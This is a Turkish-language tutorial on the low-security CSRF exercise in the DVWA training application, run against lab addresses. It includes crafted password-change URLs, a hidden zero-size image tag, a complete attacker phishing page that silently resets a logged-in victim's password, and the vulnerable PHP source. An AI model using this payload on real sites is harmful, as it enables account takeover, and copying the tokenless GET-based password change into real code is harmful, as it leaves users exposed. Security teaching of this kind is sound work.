Mevcut uygulamada herhangi bir kontrol (eski parolayı sormak gibi) olmadan parola değiştirilebilmektedir. Parola değişikliği için belirlenen parola (“deneme123” gibi) yazıldığında, elde edilen URL ve ekran görüntüsü aşağıdaki gibidir.
http://10.10.2.156/dvwa/vulnerabilities/csrf/?password_new=deneme123&password_conf=deneme123&Change=Change#
Burp Suite ile yakalanan talep içeriğinde de görüldüğü gibi, parola URL içerisinde (GET metodu ile) taşınmakta ve yeni parola bu şekilde belirlenmiş olmaktadır.
Oturumu açık bir kullanıcı parolasını değiştirmek istediğinde URL içerisindeki parola bilgisini güncellemesi yeterli olacaktır. Yani, kullanıcı parolasını “Aa123456” yapmak isterse kullanıcının aşağıdaki linke tıklaması yeterli olacaktır.
http://10.10.2.156/dvwa/vulnerabilities/csrf/?password_new=Aa123456&password_conf=Aa123456&Change=Change#
Ancak bu durum saldırı amacı ile de kullanılabilir. Saldırgan, kurbana aşağıdaki URL’i göndererek tıklamasını sağladığında, kurban eski parolası ile bir daha oturum açamayacaktır. Bunun yanında saldırgan ise kendisinin belirlediği yeni parola (“Parola12345”) ile kurban kullanıcı gibi oturum açabilecektir.
http://10.10.2.156/dvwa/vulnerabilities/csrf/?password_new=Parola12345&password_conf=Parola12345&Change=Change#
Eğer bu link doğrudan tıklamak yerine, bir şekilde çağırılırsa da yine link tıklanmış gibi CSRF zafiyeti barındıran sayfaya talepte bulunulur ve parola değişikliği gerçekleşir. Örneğin bir web sitesindeki resim dosyası, aşağıda da görüldüğü gibi, kaynak olarak CSRF’li sayfayı gösterirse bu siteye bir talepte bulunulur.
<img src=”http://10.10.2.156/dvwa/vulnerabilities/csrf/?password_new=Parola12345&password_conf=Parola12345&Change=Change#” width=”0″ height=”0″>
Bu durum kötüye kullanılabilir. Saldırgan bir URL’i kurbana doğrudan tıklatmak yerine, kurbanı hazırladığı bir web sayfasına da yönlendirebilir. Saldırgana ait bu web sayfasındaki bir resim de CSRF zafiyeti barındıran sayfaya talepte bulunursa kurbanın parolası yine değişmiş olur. Çünkü bu talebi yapacak olan taraf web sayfasına giren ve resmin gösterileceği kurbandır. Saldırganın sitesindeki resim dosyası aşağıdaki gibi olabilir.
Örneğin; 10.10.2.128 IP adresi saldırganın yönetiminde olan bir web sitesi olduğu durumda, saldırganın kurbana gönderdiği link aşağıdaki gibi olsun.
http://10.10.2.128/oltalama.html
Bu linke tıklandığında sayfa içerisindeki gizli (boyutları 0x0 olarak belirtilmiş) resim dosyası CSRF zafiyeti barındıran sayfaya (10.10.2.156 sunucusuna) bir talepte bulunacaktır. Eğer kurbanın zafiyeti barındıran uygulamada oturumu açıksa bu talebi yapan kullanıcının oturum bilgileri ile talep gerçekleşecek ve parola saldırganın belirlediği şekilde ayarlanmış olacaktır. Saldırgana ait oltalama sayfasının kaynak kodu aşağıdaki gibi olabilir.
1 2 3 4 5 6 7 8 9 |
<html> <head> <title>Saldirgan Web Sayfasi</title> </head> <body> <p>Asagidaki gizli resim CSRF zafiyeti olan sayfaya bir talep yapmaktadir. </p> <img src="http://10.10.2.156/dvwa/vulnerabilities/csrf/?password_new=Parola12345&password_conf=Parola12345&Change=Change#" width="0" height="0"> </body> </html> |
İlgili Kaynak Kod:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<?php if (isset($_GET['Change'])) { // Turn requests into variables $pass_new = $_GET['password_new']; $pass_conf = $_GET['password_conf']; if (($pass_new == $pass_conf)){ $pass_new = mysql_real_escape_string($pass_new); $pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';"; $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); echo "<pre> Password Changed </pre>"; mysql_close(); } else{ echo "<pre> Passwords did not match. </pre>"; } } ?> |
Kaynak:
http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-7—Cross-Site-Request-Forgery-Low-Level.php